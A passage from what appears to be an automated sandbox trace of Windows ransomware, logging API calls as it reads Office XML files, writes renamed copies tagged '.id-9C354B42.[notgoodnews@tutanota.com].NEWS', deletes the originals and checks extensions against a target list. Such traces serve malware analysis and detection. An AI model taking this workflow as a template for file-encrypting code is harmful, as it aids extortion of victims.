lpOverlapped=0x0) returned 1 [0058.901] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0058.901] SetEndOfFile (hFile=0x1e4) returned 1 [0058.901] CloseHandle (hObject=0x1e4) returned 1 [0058.902] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.902] SetEndOfFile (hFile=0x190) returned 1 [0058.903] CloseHandle (hObject=0x190) returned 1 [0058.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0058.904] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0058.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.904] lstrlenW (lpString=".doc") returned 4 [0058.904] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.904] lstrlenW (lpString=".docx") returned 5 [0058.904] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0058.904] lstrlenW (lpString=".pdf") returned 4 [0058.904] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString=".xls") returned 4 [0058.905] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString=".xlsx") returned 5 [0058.905] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0058.905] lstrlenW (lpString=".ppt") returned 4 [0058.905] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.905] lstrlenW (lpString=".zip") returned 4 [0058.905] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.905] lstrlenW (lpString=".rar") returned 4 [0058.905] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString=".bz2") returned 4 [0058.905] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString=".7z") returned 3 [0058.905] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.905] lstrlenW (lpString=".dbf") returned 4 [0058.905] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.905] lstrlenW (lpString=".1cd") returned 4 [0058.905] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.905] lstrlenW (lpString=".jpg") returned 4 [0058.905] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.962] lstrlenW (lpString=".doc") returned 4 [0058.963] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0058.963] lstrlenW (lpString=".docx") returned 5 [0058.963] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0058.963] lstrlenW (lpString=".pdf") returned 4 [0058.963] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0058.963] lstrlenW (lpString=".xls") returned 4 [0058.963] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0058.963] lstrlenW (lpString=".xlsx") returned 5 [0058.963] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0058.963] lstrlenW (lpString=".ppt") returned 4 [0058.963] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0058.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.963] lstrlenW (lpString=".zip") returned 4 [0058.963] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0058.963] lstrlenW (lpString=".rar") returned 4 [0058.963] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0058.963] lstrlenW (lpString=".bz2") returned 4 [0058.963] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0058.963] lstrlenW (lpString=".7z") returned 3 [0058.963] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0058.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.963] lstrlenW (lpString=".dbf") returned 4 [0058.964] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0058.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.964] lstrlenW (lpString=".1cd") returned 4 [0058.964] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0058.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0058.964] lstrlenW (lpString=".jpg") returned 4 [0058.964] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0058.964] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0058.964] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0058.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.965] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=3186) returned 1 [0058.965] CloseHandle (hObject=0x1ac) returned 1 [0058.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0058.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0058.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0058.965] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.965] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0059.008] GetLastError () returned 0x0 [0059.008] ReadFile (in: hFile=0x1ac, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0xc72, lpOverlapped=0x0) returned 1 [0059.057] WriteFile (in: hFile=0x21c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0059.059] ReadFile (in: hFile=0x1ac, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.059] WriteFile (in: hFile=0x21c, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0059.059] SetEndOfFile (hFile=0x21c) returned 1 [0059.065] CloseHandle (hObject=0x21c) returned 1 [0059.067] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.067] SetEndOfFile (hFile=0x1ac) returned 1 [0059.069] CloseHandle (hObject=0x1ac) returned 1 [0059.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.069] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0059.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.070] lstrlenW (lpString=".doc") returned 4 [0059.070] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.070] lstrlenW (lpString=".docx") returned 5 [0059.070] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0059.070] lstrlenW (lpString=".pdf") returned 4 [0059.070] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.070] lstrlenW (lpString=".xls") returned 4 [0059.070] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.070] lstrlenW (lpString=".xlsx") returned 5 [0059.070] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0059.070] lstrlenW (lpString=".ppt") returned 4 [0059.070] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.070] lstrlenW (lpString=".zip") returned 4 [0059.071] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.071] lstrlenW (lpString=".rar") returned 4 [0059.071] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.071] lstrlenW (lpString=".bz2") returned 4 [0059.071] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.071] lstrlenW (lpString=".7z") returned 3 [0059.071] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.071] lstrlenW (lpString=".dbf") returned 4 [0059.071] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.071] lstrlenW (lpString=".1cd") returned 4 [0059.071] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.071] lstrlenW (lpString=".jpg") returned 4 [0059.071] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.071] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.072] lstrlenW (lpString=".doc") returned 4 [0059.072] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.072] lstrlenW (lpString=".docx") returned 5 [0059.072] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0059.072] lstrlenW (lpString=".pdf") returned 4 [0059.072] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.072] lstrlenW (lpString=".xls") returned 4 [0059.072] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.072] lstrlenW (lpString=".xlsx") returned 5 [0059.072] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0059.072] lstrlenW (lpString=".ppt") returned 4 [0059.072] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.072] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.072] lstrlenW (lpString=".zip") returned 4 [0059.072] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.072] lstrlenW (lpString=".rar") returned 4 [0059.072] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.072] lstrlenW (lpString=".bz2") returned 4 [0059.072] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.072] lstrlenW (lpString=".7z") returned 3 [0059.073] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.073] lstrlenW (lpString=".dbf") returned 4 [0059.073] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.073] lstrlenW (lpString=".1cd") returned 4 [0059.073] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0059.073] lstrlenW (lpString=".jpg") returned 4 [0059.073] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.073] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.073] lstrlenW (lpString="PrjProrWW.XML") returned 13 [0059.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.079] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=6421) returned 1 [0059.079] CloseHandle (hObject=0x214) returned 1 [0059.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 0x20 [0059.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.080] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.080] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0059.080] GetLastError () returned 0x0 [0059.080] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x1915, lpOverlapped=0x0) returned 1 [0059.094] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0059.095] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.096] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xee, lpOverlapped=0x0) returned 1 [0059.096] SetEndOfFile (hFile=0x1f4) returned 1 [0059.601] CloseHandle (hObject=0x1f4) returned 1 [0059.602] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.602] SetEndOfFile (hFile=0x214) returned 1 [0059.604] CloseHandle (hObject=0x214) returned 1 [0059.604] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.605] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml")) returned 1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.605] lstrlenW (lpString=".doc") returned 4 [0059.605] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.605] lstrlenW (lpString=".docx") returned 5 [0059.605] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0059.605] lstrlenW (lpString=".pdf") returned 4 [0059.605] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.605] lstrlenW (lpString=".xls") returned 4 [0059.605] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.605] lstrlenW (lpString=".xlsx") returned 5 [0059.605] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0059.605] lstrlenW (lpString=".ppt") returned 4 [0059.605] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.605] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.606] lstrlenW (lpString=".zip") returned 4 [0059.606] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.606] lstrlenW (lpString=".rar") returned 4 [0059.606] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.606] lstrlenW (lpString=".bz2") returned 4 [0059.606] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.606] lstrlenW (lpString=".7z") returned 3 [0059.606] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.606] lstrlenW (lpString=".dbf") returned 4 [0059.606] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.606] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.606] lstrlenW (lpString=".1cd") returned 4 [0059.607] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.607] lstrlenW (lpString=".jpg") returned 4 [0059.607] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.607] lstrlenW (lpString=".doc") returned 4 [0059.607] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.607] lstrlenW (lpString=".docx") returned 5 [0059.607] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0059.607] lstrlenW (lpString=".pdf") returned 4 [0059.607] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.607] lstrlenW (lpString=".xls") returned 4 [0059.607] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.607] lstrlenW (lpString=".xlsx") returned 5 [0059.607] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0059.607] lstrlenW (lpString=".ppt") returned 4 [0059.608] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.608] lstrlenW (lpString=".zip") returned 4 [0059.608] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.608] lstrlenW (lpString=".rar") returned 4 [0059.608] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.608] lstrlenW (lpString=".bz2") returned 4 [0059.608] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.608] lstrlenW (lpString=".7z") returned 3 [0059.608] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.608] lstrlenW (lpString=".dbf") returned 4 [0059.608] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.608] lstrlenW (lpString=".1cd") returned 4 [0059.608] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0059.608] lstrlenW (lpString=".jpg") returned 4 [0059.608] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.608] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.609] lstrlenW (lpString="Proof.XML") returned 9 [0059.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.609] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1347) returned 1 [0059.609] CloseHandle (hObject=0x214) returned 1 [0059.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0059.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0059.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.610] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.610] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 